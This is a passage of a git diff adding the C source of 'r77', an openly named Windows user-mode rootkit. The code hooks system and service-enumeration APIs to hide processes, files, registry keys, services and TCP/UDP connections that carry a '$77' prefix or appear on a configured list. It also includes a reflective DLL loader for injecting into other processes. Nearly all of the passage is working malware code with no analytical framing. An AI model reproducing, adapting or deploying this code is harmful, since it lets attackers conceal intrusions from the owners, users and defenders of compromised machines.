&& services && servicesReturned) + { + FilterEnumServiceStatus((LPENUM_SERVICE_STATUSW)services, servicesReturned); + } + + return result; +} +static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName) +{ + // TaskMgr (Windows 7), ProcessHacker + BOOL result = OriginalEnumServicesStatusExW(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName); + + if (result && services && servicesReturned) + { + FilterEnumServiceStatusProcess((LPENUM_SERVICE_STATUS_PROCESSW)services, servicesReturned); + } + + return result; +} +static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName) +{ + // TaskMgr (Windows 10 uses sechost.dll instead of advapi32.dll) + BOOL result = OriginalEnumServicesStatusExW2(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName); + + if (result && services && servicesReturned) + { + FilterEnumServiceStatusProcess((LPENUM_SERVICE_STATUS_PROCESSW)services, servicesReturned); + } + + return result; +} +static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength) +{ + NTSTATUS status = OriginalNtDeviceIoControlFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, ioControlCode, inputBuffer, inputBufferLength, outputBuffer, outputBufferLength); + + if (NT_SUCCESS(status)) + { + // Hide TCP and UDP entries + if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer && outputBufferLength == sizeof(NT_NSI_PARAM)) + { + // Check, if the device is "\Device\Nsi" + BYTE deviceName[500]; + if (NT_SUCCESS(NtQueryObject2(fileHandle, ObjectNameInformation, deviceName, 500, NULL)) && + !StrCmpNIW(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer, sizeof(DEVICE_NSI) / sizeof(WCHAR))) + { + PNT_NSI_PARAM nsiParam = (PNT_NSI_PARAM)outputBuffer; + if (nsiParam->Entries && (nsiParam->Type == NsiTcp || nsiParam->Type == NsiUdp)) + { + // The status and process table may be NULL and must be checked. + PNT_NSI_TCP_ENTRY tcpEntries = (PNT_NSI_TCP_ENTRY)nsiParam->Entries; + PNT_NSI_UDP_ENTRY udpEntries = (PNT_NSI_UDP_ENTRY)nsiParam->Entries; + PNT_NSI_STATUS_ENTRY statusEntries = (PNT_NSI_STATUS_ENTRY)nsiParam->StatusEntries; + PNT_NSI_PROCESS_ENTRY processEntries = (PNT_NSI_PROCESS_ENTRY)nsiParam->ProcessEntries; + + WCHAR processName[MAX_PATH + 1]; + + for (DWORD i = 0; i < nsiParam->Count; i++) + { + processName[0] = L'\0'; + + BOOL hidden = FALSE; + if (nsiParam->Type == NsiTcp) + { + if (processEntries) GetProcessFileName(processEntries[i].TcpProcessId, FALSE, processName, MAX_PATH); + + hidden = + IsTcpLocalPortHidden(_byteswap_ushort(tcpEntries[i].Local.Port)) || + IsTcpRemotePortHidden(_byteswap_ushort(tcpEntries[i].Remote.Port)) || + processEntries && IsProcessIdHidden(processEntries[i].TcpProcessId) || + IsProcessNameHidden(processName) || + HasPrefix(processName); + } + else if (nsiParam->Type == NsiUdp) + { + if (processEntries) GetProcessFileName(processEntries[i].UdpProcessId, FALSE, processName, MAX_PATH); + + hidden = + IsUdpPortHidden(_byteswap_ushort(udpEntries[i].Port)) || + processEntries && IsProcessIdHidden(processEntries[i].UdpProcessId) || + IsProcessNameHidden(processName) || + HasPrefix(processName); + } + + // If hidden, move all following entries up by one and decrease count. + if (hidden) + { + if (i < nsiParam->Count - 1) + { + if (nsiParam->Type == NsiTcp) + { + RtlMoveMemory(&tcpEntries[i], &tcpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize); + } + else if (nsiParam->Type == NsiUdp) + { + RtlMoveMemory(&udpEntries[i], &udpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize); + } + + if (statusEntries) RtlMoveMemory(&statusEntries[i], &statusEntries[i + 1], (nsiParam->Count - i - 1) * sizeof(NT_NSI_STATUS_ENTRY)); + if (processEntries) RtlMoveMemory(&processEntries[i], &processEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize); + } + + nsiParam->Count--; + i--; + } + } + } + } + } + } + + return status; +} + +static BOOL GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime) +{ + // Count hidden CPU usage explicitly instead of waiting for a call to NtQuerySystemInformation(SystemProcessInformation). + // Task managers call NtQuerySystemInformation(SystemProcessInformation) also, but not necessarily in a matching frequency. + + BOOL result = FALSE; + LPBYTE systemInformation = NEW_ARRAY(BYTE, 1024 * 1024 * 2); + ULONG returnLength; + + if (NT_SUCCESS(OriginalNtQuerySystemInformation(SystemProcessInformation, systemInformation, 1024 * 1024 * 2, &returnLength))) + { + if (hiddenKernelTime) hiddenKernelTime->QuadPart = 0; + if (hiddenUserTime) hiddenUserTime->QuadPart = 0; + if (hiddenCycleTime) *hiddenCycleTime = 0; + + for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) + { + if (HasPrefixU(current->ImageName) || IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || IsProcessNameHiddenU(current->ImageName)) + { + if (hiddenKernelTime) hiddenKernelTime->QuadPart += current->KernelTime.QuadPart; + if (hiddenUserTime) hiddenUserTime->QuadPart += current->UserTime.QuadPart; + if (hiddenCycleTime) *hiddenCycleTime += current->CycleTime; + } + + previous = current; + + if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); + else current = NULL; + } + + result = TRUE; + } + + FREE(systemInformation); + return result; +} +static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName) +{ + // PathCombineW cannot be used with the directory name "\\.\pipe\". + if (!StrCmpIW(directoryName, L"\\\\.\\pipe\\")) + { + lstrcpyW(result, directoryName); + lstrcatW(result, fileName); + return result; + } + else + { + return PathCombineW(result, directoryName, fileName); + } +} +static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name) +{ + PWCHAR fileName = NULL; + ULONG fileNameLength = 0; + + switch (fileInformationClass) + { + case FileDirectoryInformation: + fileName = ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->FileNameLength; + break; + case FileFullDirectoryInformation: + fileName = ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->FileNameLength; + break; + case FileIdFullDirectoryInformation: + fileName = ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileNameLength; + break; + case FileBothDirectoryInformation: + fileName = ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength; + break; + case FileIdBothDirectoryInformation: + fileName = ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength; + break; + case FileNamesInformation: + fileName = ((PNT_FILE_NAMES_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_NAMES_INFORMATION)fileInformation)->FileNameLength; + break; + } + + if (fileName && fileNameLength > 0) + { + wmemcpy(name, fileName, fileNameLength / sizeof(WCHAR)); + name[fileNameLength / sizeof(WCHAR)] = L'\0'; + return name; + } + else + { + return NULL; + } +} +static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass) +{ + switch (fileInformationClass) + { + case FileDirectoryInformation: + return ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset; + case FileFullDirectoryInformation: + return ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset; + case FileIdFullDirectoryInformation: + return ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset; + case FileBothDirectoryInformation: + return ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset; + case FileIdBothDirectoryInformation: + return ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset; + case FileNamesInformation: + return ((PNT_FILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset; + default: + return 0; + } +} +static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, ULONG value) +{ + switch (fileInformationClass) + { + case FileDirectoryInformation: + ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + case FileFullDirectoryInformation: + ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + case FileIdFullDirectoryInformation: + ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + case FileBothDirectoryInformation: + ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + case FileIdBothDirectoryInformation: + ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + case FileNamesInformation: + ((PNT_FILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + } +} +static PWCHAR KeyInformationGetName(LPVOID keyInformation, NT_KEY_INFORMATION_CLASS keyInformationClass) +{ + switch (keyInformationClass) + { + case KeyBasicInformation: + return ((PNT_KEY_BASIC_INFORMATION)keyInformation)->Name; + case KeyNameInformation: + return ((PNT_KEY_NAME_INFORMATION)keyInformation)->Name; + default: + return NULL; + } +} +static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass) +{ + switch (keyValueInformationClass) + { + case KeyValueBasicInformation: + return ((PNT_KEY_VALUE_BASIC_INFORMATION)keyValueInformation)->Name; + case KeyValueFullInformation: + return ((PNT_KEY_VALUE_FULL_INFORMATION)keyValueInformation)->Name; + default: + return NULL; + } +} +static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD servicesReturned) +{ + for (DWORD i = 0; i < *servicesReturned; i++) + { + // If hidden, move all following entries up by one and decrease count. + if (HasPrefix(services[i].lpServiceName) || + HasPrefix(services[i].lpDisplayName) || + IsServiceNameHidden(services[i].lpServiceName) || + IsServiceNameHidden(services[i].lpDisplayName)) + { + RtlMoveMemory(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUSW)); + (*servicesReturned)--; + i--; + } + } +} +static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW services, LPDWORD servicesReturned) +{ + for (DWORD i = 0; i < *servicesReturned; i++) + { + // If hidden, move all following entries up by one and decrease count. + if (HasPrefix(services[i].lpServiceName) || + HasPrefix(services[i].lpDisplayName) || + IsServiceNameHidden(services[i].lpServiceName) || + IsServiceNameHidden(services[i].lpDisplayName)) + { + RtlMoveMemory(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUS_PROCESSW)); + (*servicesReturned)--; + i--; + } + } +} \ No newline at end of file diff --git a/r77/Hooks.h b/r77/Hooks.h new file mode 100644 index 0000000..72638de --- /dev/null +++ b/r77/Hooks.h @@ -0,0 +1,50 @@ +#include "r77mindef.h" +#include "ntdll.h" +#ifndef _HOOKS_H +#define _HOOKS_H + +static NT_NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation; +static NT_NTRESUMETHREAD OriginalNtResumeThread; +static NT_NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile; +static NT_NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx; +static NT_NTENUMERATEKEY OriginalNtEnumerateKey; +static NT_NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey; +static NT_ENUMSERVICEGROUPW OriginalEnumServiceGroupW; +static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW; +static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2; +static NT_NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile; + +/// +/// Attaches hooks to r77 specific API's. +/// +VOID InitializeHooks(); +/// +/// Detaches all hooks. +/// +VOID UninitializeHooks(); + +static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction); +static VOID UninstallHook(LPVOID originalFunction, LPVOID hookedFunction); + +static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); +static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount); +static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); +static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName); +static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength); +static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength); +static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved); +static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); +static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); +static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); + +static BOOL GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime); +static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName); +static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name); +static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass); +static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, ULONG value); +static PWCHAR KeyInformationGetName(LPVOID keyInformation, NT_KEY_INFORMATION_CLASS keyInformationClass); +static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass); +static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD servicesReturned); +static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW services, LPDWORD servicesReturned); + +#endif \ No newline at end of file diff --git a/r77/ReflectiveDllMain.c b/r77/ReflectiveDllMain.c new file mode 100644 index 0000000..2bb0ff8 --- /dev/null +++ b/r77/ReflectiveDllMain.c @@ -0,0 +1,103 @@ +#include "ReflectiveDllMain.h" +#include "ntdll.h" +#include "r77win.h" +#include "r77runtime.h" + +BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase) +{ + // All functions that are used in the reflective loader must be found by searching the PEB. + // Functions, such as memcpy need to be handwritten, because no functions are imported, yet. + // Switch statements cannot be used, because a jump table would be created and the shellcode would not be position independent anymore. + + NT_NTFLUSHINSTRUCTIONCACHE ntFlushInstructionCache = (NT_NTFLUSHINSTRUCTIONCACHE)PebGetProcAddress(0x3cfa685d, 0x534c0ab8); + NT_LOADLIBRARYA loadLibraryA = (NT_LOADLIBRARYA)PebGetProcAddress(0x6a4abc5b, 0xec0e4e8e); + NT_GETPROCADDRESS getProcAddress = (NT_GETPROCADDRESS)PebGetProcAddress(0x6a4abc5b, 0x7c0dfcaa); + NT_VIRTUALALLOC virtualAlloc = (NT_VIRTUALALLOC)PebGetProcAddress(0x6a4abc5b, 0x91afca54); + + // Safety check: Continue only, if all functions were found. + if (ntFlushInstructionCache && loadLibraryA && getProcAddress && virtualAlloc) + { + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); + + // Allocate memory for the DLL. + LPBYTE allocatedMemory = (LPBYTE)virtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (allocatedMemory) + { + // Copy optional header to new memory. + libc_memcpy(allocatedMemory, dllBase, ntHeaders->OptionalHeader.SizeOfHeaders); + + // Copy sections to new memory. + PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + libc_memcpy(allocatedMemory + sections[i].VirtualAddress, dllBase + sections[i].PointerToRawData, sections[i].SizeOfRawData); + } + + // Read the import directory, call LoadLibraryA to import dependencies and patch the IAT. + PIMAGE_DATA_DIRECTORY importDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + if (importDirectory->Size) + { + for (PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(allocatedMemory + importDirectory->VirtualAddress); importDescriptor->Name; importDescriptor++) + { + LPBYTE module = (LPBYTE)loadLibraryA((LPCSTR)(allocatedMemory + importDescriptor->Name)); + if (module) + { + PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(allocatedMemory + importDescriptor->OriginalFirstThunk); + PUINT_PTR importAddressTable = (PUINT_PTR)(allocatedMemory + importDescriptor->FirstThunk); + + while (*importAddressTable) + { + if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + PIMAGE_NT_HEADERS moduleNtHeaders = (PIMAGE_NT_HEADERS)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew); + PIMAGE_EXPORT_DIRECTORY moduleExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(module + moduleNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + *importAddressTable = (UINT_PTR)(module + *(LPDWORD)(module + moduleExportDirectory->AddressOfFunctions + (IMAGE_ORDINAL(thunk->u1.Ordinal) - moduleExportDirectory->Base) * sizeof(DWORD))); + } + else + { + importDirectory = (PIMAGE_DATA_DIRECTORY)(allocatedMemory + *importAddressTable); + *importAddressTable = (UINT_PTR)getProcAddress((HMODULE)module, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)importDirectory)->Name); + } + + thunk = (PIMAGE_THUNK_DATA)((LPBYTE)thunk + sizeof(UINT_PTR)); + importAddressTable = (PUINT_PTR)((LPBYTE)importAddressTable + sizeof(UINT_PTR)); + } + } + } + } + + // Patch relocations. + PIMAGE_DATA_DIRECTORY relocationDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if (relocationDirectory->Size) + { + UINT_PTR imageBase = (UINT_PTR)(allocatedMemory - ntHeaders->OptionalHeader.ImageBase); + + for (PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(allocatedMemory + relocationDirectory->VirtualAddress); baseRelocation->SizeOfBlock; baseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseRelocation + baseRelocation->SizeOfBlock)) + { + LPBYTE relocationAddress = allocatedMemory + baseRelocation->VirtualAddress; + PNT_IMAGE_RELOC relocations = (PNT_IMAGE_RELOC)((LPBYTE)baseRelocation + sizeof(IMAGE_BASE_RELOCATION)); + + for (UINT_PTR i = 0; i < (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(NT_IMAGE_RELOC); i++) + { + if (relocations[i].Type == IMAGE_REL_BASED_DIR64) *(PUINT_PTR)(relocationAddress + relocations[i].Offset) += imageBase; + else if (relocations[i].Type == IMAGE_REL_BASED_HIGHLOW) *(LPDWORD)(relocationAddress + relocations[i].Offset) += (DWORD)imageBase; + else if (relocations[i].Type == IMAGE_REL_BASED_HIGH) *(LPWORD)(relocationAddress + relocations[i].Offset) += HIWORD(imageBase); + else if (relocations[i].Type == IMAGE_REL_BASED_LOW) *(LPWORD)(relocationAddress + relocations[i].Offset) += LOWORD(imageBase); + } + } + } + + // Get actual main entry point. + NT_DLLMAIN dllMain = (NT_DLLMAIN)(allocatedMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint); + + // Flush instruction cache to avoid stale instructions on modified code to be executed. + ntFlushInstructionCache(INVALID_HANDLE_VALUE, NULL, 0); + + // Call actual DllMain. + return dllMain((HINSTANCE)allocatedMemory, DLL_PROCESS_ATTACH, NULL); + } + } + + // If loading failed, DllMain was not executed either. Return FALSE. + return FALSE; +} \ No newline at end of file diff --git a/r77/ReflectiveDllMain.h b/r77/ReflectiveDllMain.h new file mode 100644 index 0000000..30653b0 --- /dev/null +++ b/r77/ReflectiveDllMain.h @@ -0,0 +1,16 @@ +#include "r77mindef.h" +#ifndef _REFLECTIVEDLLMAIN_H +#define _REFLECTIVEDLLMAIN_H + +/// +/// Position independent shellcode that loads the DLL after it was written to the remote process memory. +/// This is the main entry point for reflective DLL injection. +/// +/// A pointer to the beginning of the DLL file. +/// +/// If this function succeeds, the return value of DllMain; +/// otherwise, FALSE. +/// +__declspec(dllexport) BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase); + +#endif \ No newline at end of file diff --git a/r77/Rootkit.c b/r77/Rootkit.c new file mode 100644 index 0000000..d5de289 --- /dev/null +++ b/r77/Rootkit.c @@ -0,0 +1,109 @@ +#include "Rootkit.h" +#include "Hooks.h" +#include "Config.h" +#include "r77def.h" +#include + +BOOL InitializeRootkit(HINSTANCE module) +{ + // If the process starts with $77, do not load r77. + WCHAR executablePath[MAX_PATH + 1]; + if (FAILED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return FALSE; + if (HasPrefix(PathFindFileNameW(executablePath))) return FALSE; + + // Write the r77 header. + if (!WriteR77Header()) return FALSE; + + if (!RootkitInitialized) + { + RootkitInitialized = TRUE; + Module = module; + + // Initialize configuration system. + InitializeConfig(); + + // Attach hooks. + InitializeHooks(); + } + + return TRUE; +} +VOID UninitializeRootkit() +{ + if (RootkitInitialized) + { + RootkitInitialized = FALSE; + + // Remove the r77 header. + RemoveR77Header(); + + // Uninitialize configuration system. + UninitializeConfig(); + + // Detach hooks. + UninitializeHooks(); + } +} +static VOID DetachRootkit() +{ + UninitializeRootkit(); + FreeLibraryAndExitThread(Module, 0); +} + +static BOOL WriteR77Header() +{ + BOOL result = FALSE; + + // Store the r77 header in the main module. + LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); + if (module) + { + // The r77 header is written over the DOS stub. + LPWORD signature = (LPWORD) & module[sizeof(IMAGE_DOS_HEADER)]; + + // If this process already has an r77 signature, indicate that the DLL should be detached by returning false. + if (*signature != R77_SIGNATURE && *signature != R77_SERVICE_SIGNATURE && *signature != R77_HELPER_SIGNATURE) + { + DWORD oldProtect; + if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect)) + { + // The current process is now marked as injected and therefore, cannot be injected again. + *signature = R77_SIGNATURE; + + // Write a function pointer to DetachRootkit() that can be invoked using NtCreateThreadEx to detach r77 from this process. + *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = (DWORD64)DetachRootkit; + + VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect); + result = TRUE; + } + } + } + + return result; +} +static VOID RemoveR77Header() +{ + LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); + if (module) + { + DWORD oldProtect; + if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect)) + { + // Remove the r77 header by overwriting the DOS stub. + // Even if this sequence of bytes doesn't match the original DOS stub, it does not affect the process. + *(LPWORD)&module[sizeof(IMAGE_DOS_HEADER)] = 0x1f0e; + *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = 0xb821cd09b4000eba; + + VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect); + } + } +} + +BOOL HasPrefix(LPCWSTR str) +{ + return str && !StrCmpNIW(str, HIDE_PREFIX, HIDE_PREFIX_LENGTH); +} +BOOL HasPrefixU(UNICODE_STRING str) +{ + return str.Buffer && str.Length / sizeof(WCHAR) >= HIDE_PREFIX_LENGTH && !StrCmpNIW(str.Buffer, HIDE_PREFIX, HIDE_PREFIX_LENGTH); +} \ No newline at end of file diff --git a/r77/Rootkit.h b/r77/Rootkit.h new file mode 100644 index 0000000..059ebb9 --- /dev/null +++ b/r77/Rootkit.h @@ -0,0 +1,60 @@ +#include "r77mindef.h" +#ifndef _ROOTKIT_H +#define _ROOTKIT_H + +static BOOL RootkitInitialized; +static HINSTANCE Module; + +/// +/// Initializes r77, writes r77 header and installs hooks. +/// This function returns FALSE, if r77 is already injected, or if this process is either the r77 service or a helper process, or the process starts with $77. +/// +/// The module of the injected DLL. +/// +/// TRUE, if r77 was successfully loaded; +/// otherwise, FALSE. +/// +BOOL InitializeRootkit(HINSTANCE module); +/// +/// Detaches r77 from this process. +/// +VOID UninitializeRootkit(); +/// +/// A function that can be invoked using NtCreateThreadEx to detach r77 from this process. +/// The address of this function is written to the r77 header. +/// +static VOID DetachRootkit(); + +/// +/// Writes the r77 header to this process. +/// +/// +/// TRUE, if the header was written and r77 can run; +/// FALSE, if r77 should detach from this process. +/// +static BOOL WriteR77Header(); +/// +/// Removes the r77 header from this process. +/// +static VOID RemoveR77Header(); + +/// +/// Determines whether a string is hidden by prefix. +/// +/// The unicode string to be checked. +/// +/// TRUE, if this string is hidden by prefix; +/// otherwise, FALSE. +/// +BOOL HasPrefix(LPCWSTR str); +/// +/// Determines whether a string is hidden by prefix. +/// +/// The unicode string to be checked. +/// +/// TRUE, if this string is hidden by prefix; +/// otherwise, FALSE. +/// +BOOL HasPrefixU(UNICODE_STRING str); + +#endif \ No newline at end of file diff --git a/src/r77/detours.h b/r77/detours.h similarity index 100% rename from src/r77/detours.h rename to r77/detours.h diff --git a/src/r77/r77.cpp b/r77/r77.c similarity index 70% rename from src/r77/r77.cpp rename to r77/r77.c index e47f156..a7d34c5 100644 --- a/src/r77/r77.cpp +++ b/r77/r77.c @@ -1,10 +1,12 @@ -#include "r77.h" +#include "r77mindef.h" +#include "Rootkit.h" +#include "ReflectiveDllMain.h" BOOL WINAPI DllMain(HINSTANCE module, DWORD reason, LPVOID reserved) { if (reason == DLL_PROCESS_ATTACH) { - if (!Rootkit::Initialize(module)) + if (!InitializeRootkit(module)) { // If the rootkit could not initialize, is already injected, or not eligible for this process, detach the DLL. return FALSE; @@ -12,7 +14,7 @@ BOOL WINAPI DllMain(HINSTANCE module, DWORD reason, LPVOID reserved) } else if (reason == DLL_PROCESS_DETACH) { - Rootkit::Shutdown(); + UninitializeRootkit(); } return TRUE; diff --git a/r77/r77.vcxitems b/r77/r77.vcxitems new file mode 100644 index 0000000..2dfe4c9 --- /dev/null +++ b/r77/r77.vcxitems @@ -0,0 +1,30 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {6e4bb100-c3c9-4cf7-a637-08c2482c6b94} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/r77api/clist.c 